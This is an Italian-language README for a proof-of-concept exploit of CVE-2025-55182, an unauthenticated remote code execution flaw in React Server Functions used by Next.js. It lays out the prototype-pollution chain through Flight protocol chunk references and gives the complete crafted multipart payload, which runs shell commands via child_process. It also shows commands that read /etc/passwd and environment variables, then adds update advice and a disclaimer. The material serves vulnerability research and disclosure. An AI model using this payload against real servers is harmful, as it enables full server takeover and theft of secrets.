
Exploit proof-of-concept per CVE-2025-55182, una vulnerabilità di esecuzione di codice remoto nelle React Server Functions (Next.js). Dimostra l'inquinamento del prototipo che porta all'esecuzione di codice arbitrario non autenticata tramite richieste HTTP formulate ad arte.
Codice di prova per la vulnerabilità di esecuzione remota di codice (RCE) nelle React Server Functions (Next.js, ecc.). Sfrutta l'inquinamento del prototipo per eseguire codice arbitrario sul server senza autenticazione.
Attenzione: questo repository è a scopo educativo e di ricerca. È severamente vietato abusarne.
Nel processo di deserializzazione del React Flight Protocol, la verifica della catena di prototipi è insufficiente.
Ciò consente di accedere al costruttore Function tramite ed eseguire codice JavaScript arbitrario.
__proto__Il metodo più semplice per la verifica.
# 1. Avviare il server Next.js vulnerabile
docker compose up -d --build
# 1. Eseguire l'exploit (predefinito: comando id)
docker compose run --rm poc
# 4. Eseguire un comando personalizzato
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc
# 5. Fermare il server
docker-compose down
Una funzionalità API lato server offerta da Next.js e altri framework.
// Server Action (funzione eseguita solo lato server)
async function submitForm(formData) {
'use server' // ← dichiarazione di funzione server
// Operazioni lato server, come interazioni con il database
const result = await db.insert(formData)
return result
}
Quando viene chiamata dal client:
Il client invia dati in unità chiamate "chunk":
files = {
"0": (None, '["$1"]'), # chunk 0: riferimento al chunk 1
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # chunk 1: riferimento a fruitName del chunk 2
"2": (None, '{"fruitName":"cherry"}'), # chunk 2: dati effettivi
}
Dopo la deserializzazione lato server:
{ object: 'fruit', name: 'cherry' }
Il punto chiave è che i chunk possono riferirsi tra loro.
Prima del commit di correzione, quando si risolvevano i riferimenti tra chunk, non veniva verificato se la chiave esistesse effettivamente nell'oggetto.
Ciò consente di accedere alla catena di prototipi.
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Processo di risoluzione del riferimento:
Oggetto del chunk 1 → __proto__ → constructor → constructor → Function
Risultato:
[Function: Function] // Ottenuto il costruttore Function!
Impostando il chunk 0 come oggetto e la proprietà then al costruttore Function:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Nel codice di Next.js (action-handler.ts:888, prima della patch):
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Questo await tenta di chiamare then come funzione (costruttore Function) sull'oggetto, causando un errore:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
Abbiamo ottenuto il costruttore Function, ma come eseguire codice arbitrario?
Cosa serve:
Idea di maple3142: creare un "falso chunk" in cui il chunk 0 fa riferimento a se stesso.
files = {
"0": (None, '{"then": "$1:__proto__:then"}'), # sovrascrive il proprio then con Chunk.prototype.then
"1": (None, '"$@0"'), # $@0 = rappresentazione "grezza" del chunk 0
}
La sintassi $@ restituisce il chunk "grezzo" invece del valore risolto:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Risultato: il then del chunk 0 viene sostituito con Chunk.prototype.then.
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this); // ← qui si entra
}
// ...
}
Impostando lo stato del falso chunk a "resolved_model", viene chiamata initializeModelChunk:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Internamente, initializeModelChunk:
function initializeModelChunk(chunk) {
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
}
Qui avviene una seconda valutazione.
La gestione dei blob nel React Flight Protocol (prefisso $B):
case "B":
return (
obj = parseInt(value.slice(2), 16),
response._formData.get(response._prefix + obj) // ← sfruttato qui
);
Manipolando _response del falso chunk in modo che _formData.get sia il costruttore Function e _prefix il codice da eseguire:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1, # per evitare errori in toString()
"value": '{"then": "$B0"}', # imposta then con riferimento blob
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor", # costruttore Function
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
Flusso di esecuzione:
response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// Questa funzione viene chiamata con await → esecuzione del codice!
poc.py implementa il payload sopra descritto ed estrae l'output del comando dai messaggi di errore:
# Incorpora l'output del comando nel campo digest dell'errore
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"
Basta impostare l'header HTTP Next-Action: x per realizzare l'attacco:
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)
Importante: l'attacco avviene durante la deserializzazione, quindi prima della verifica dell'azione (getActionModIdOrError).
Aggiornare immediatamente: portare React e Next.js all'ultima versione
npm update react react-dom next
Verificare le versioni:
npm list react next
WAF/misure di sicurezza:
Next-Action# Controllo delle vulnerabilità del progetto
npm audit
Questo repository è fornito esclusivamente a scopo educativo e di ricerca.
Scoperta della vulnerabilità: maple3142 Implementazione del PoC: autore di questo repository